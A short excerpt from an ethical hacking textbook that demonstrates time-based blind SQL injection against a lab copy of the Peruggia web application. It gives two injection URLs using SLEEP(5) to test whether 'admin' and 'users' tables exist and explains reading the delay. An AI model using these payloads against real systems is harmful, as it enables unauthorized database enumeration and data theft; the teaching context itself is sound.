364
◾
Ethical Hacking and Penetration Testing Guide
Syntax [Checking if
admin
table exists]
http://192.168.75.147/peruggia/index.php?action=comment&pic_id=13 and IF(SUBSTRING
((select 1 from admin limit 0,1),1,1)=1,SLEEP(5),1)
Syntax [Checking if
users
table exists]
http://192.168.75.147/peruggia/index.php?action=comment&pic_id=13 and IF(SUBSTRING
((select 1 from users limit 0,1),1,1)=1,SLEEP(5),1)
As
we can see from the output, there was no delay when executing the first query. However,
there was a 5 s delay when we were trying to guess the table users, which means that the table users
exist in the database.
Dostları ilə paylaş: